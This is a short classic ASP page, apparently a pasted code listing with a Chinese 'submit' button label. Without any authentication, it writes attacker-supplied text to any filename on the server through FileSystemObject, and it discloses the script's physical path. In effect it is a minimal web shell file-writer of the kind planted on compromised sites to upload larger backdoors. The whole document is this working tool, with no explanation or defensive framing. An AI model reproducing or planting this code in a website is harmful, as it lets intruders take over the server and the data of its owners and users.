1. <%
     
  2. if request("check")=1 then
     
  3. dim filename,filetext,objfso,objts2
     
  4. filename=request("filename")
     
  5. filetext=request("filetext")
     
  6. set objfso=server.CreateObject("scripting.filesystemobject")
     
  7. set objts2=objfso.createtextfile(server.MapPath(filename))
     
  8. objts2.write(filetext)
     
  9. response.Write "ok"
     
  10. end if
     
  11. %>
     
  12. <form method="post" action="">
     
  13. <%=server.mappath(request.servervariables("script_name"))%><br />
     
  14. <input type="text" name="filename" value="" />
     
  15. <input type="hidden" name="check" value="1" />
     
  16. <input type="submit" name="button" value="提交" /><br />
     
  17. <textarea name="filetext" cols="45" rows="5"></textarea><br />
     
  18. </form>